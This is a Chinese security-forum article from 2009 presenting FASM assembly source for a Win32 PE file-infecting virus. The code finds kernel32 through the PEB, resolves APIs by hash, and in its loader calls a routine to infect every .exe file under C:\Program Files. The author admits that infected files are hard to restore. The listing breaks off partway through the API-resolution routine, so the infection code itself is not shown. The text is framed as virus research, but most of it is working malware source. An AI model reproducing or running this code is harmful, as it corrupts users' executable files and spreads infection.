首页 网络安全 安全学院 查看内容

美妙的PE Virus 编写

2009-3-14 10:38 458 0

摘要: xxfish  首先以一段Demo 病毒代码来开端。下面以文章的形式来剖析感染过程。希望结交更多的Virus研究的看官。 o(∩_∩)o... 复制内容到剪贴板 代码:;========...
关键词: nbsp eax 宿主 代码 ebp 病毒 函数 edx ebx 过程

xxfish  首先以一段Demo 病毒代码来开端。下面以文章的形式来剖析感染过程。希望结交更多的Virus研究的看官。 o(∩_∩)o... 复制内容到剪贴板 代码:;============================================================================;; WIN32.FUNCKHACKER - WRITTEN BY XFISH; (c)2009-03;;============================================================================;; DESCRIPCION; ===========; ;   病毒代码采用PEB获得kernel32基地址,然后通过hash搜索填充api函数(这里Thanks ...    coban2k,Anskya), 病毒整体可;移植到任何的宿主中,这也就是和网络上目前那些通过静态注入(感染)部分shellcode的区别... 此病毒代码没有加入病毒更多的;技术,例如epo, 多态等。但是代码我认为却是比较精炼,尤其是Get_Apis过程,填充api方便  快捷 o(∩_∩)o...;;  此病毒代码仅仅是为了作为技术研究而使用,所以我限制了传播,在程序中,我做了仅是Loader调用 -;感染过程,感染过程我仅仅感染Program Files目录的所有exe文件程序代码在宿主中仅仅调用消息框提示给用户.....虽然说;限制了传播,但是感染后要恢复的话,也不是很容易,所以谨慎使用.....;==============================================================================         format PE GUI 4.0        include 'win32ax.inc'                entry        Virus_Entry        .text        ;--------------------------        Virus_Flag equ 'FISH'        ;--------------------------        Virus_Entry:        pushad        pushfd                call        DelsDels:                pop        ebp        sub        ebp, Dels        ;-------------------------        ;填充Api函数地址        ;-------------------------        call        GetKrnl32        lea        edi, [ebp + dwFuncs]        call        Get_Apis        @pushsz        'user32'        call        [ebp + _LoadLibraryA]        call        Get_Apis        ;--------------------------------        ;为了没有危害性,程序判断了在宿主中        ;不开启感染函数,这样也就无法通过宿主        ;来进行传播,宿主仅调用提提示函数 感染        ;仅在Loader中开启.... o(∩_∩)o...        ;-------------------------------        mov        eax, [fs:30h]        mov        eax, [eax+08h]        cmp        dword [eax+2], Virus_Flag        jne        .Loader        ;-----------------------------------        ;消息框警告用户已经中毒        ;----------------------------------        sub        edx, edx        push        30h        lea        eax, [ebp + szTitle]        push        eax        lea        eax, [ebp + szText]        push        eax        push        edx        call        [ebp + _MessageBoxA]        ;---------------------------------------        popfd        add        esp, 4*8        lea        eax, [ebp + Jmp_Host]        jmp        eax          .Loader:          ;-------------------------        ;Loader 感染过程        ;-------------------------        mov        edx, ebp        push        '.exe'        @pushsz        'C:\Program Files'        call        Inject_Disk                popfd        popad        ret        ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((           ;---------------------------------------------; 获得kernel32基地址; input: nothing;---------------------------------------------GetKrnl32:        mov     eax, [fs:30h]         irp    offset, 0ch,1ch,00h,08h {mov eax, [eax+offset]}         ret ;---------------------------------------------------;获取并填充api函数地址;input : eax =  Krnl32Base , edi = HashFuncAddress;thanks coban2k,Anskya;---------------------------------------------------Get_Apis:        pushad        xchg         eax, ebx        mov          eax, [ebx+03ch]        mov          esi, [eax+ebx+78h]        ; Get Export Rva        lea          esi, [esi+ebx+18h]         ; get Export NumberOfFunctions                cld        lodsd                                ; NumberOfFunctions                xchg         eax, ecx        lodsd                                ; AddressOfFunctions        push         eax        lodsd                                ; AddressOfNames        add          eax, ebx        xchg         eax, edx        lodsd                                ; AddressOfNameOrdinals        add          eax, ebx        xchg         eax, ebp        xchg         edx, esi        .Next_Func:        lodsd        add          eax, ebx        xor          edx, edx        .Calc_Hash:                rol          edx, 3        xor          dl, byte [eax]        inc         eax        cmp         byte [eax], 0        jnz          .Calc_Hash                push         edi        .Scan_dw_Funcs:        cmp          [edi], edx        jnz          .Skip_Function                movzx  eax, word [ebp]        shl    eax, 2        add    eax, [esp+4]        mov    eax, [eax+ebx]        add    eax, ebx        scasd        stosd        .Skip_Function:        scasd        add        edi, 4        sub          eax, eax        cmp          dword [edi], eax        jne          .Scan_dw_Funcs                pop          edi        add          ebp, 2        loop        .Next_Fu
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部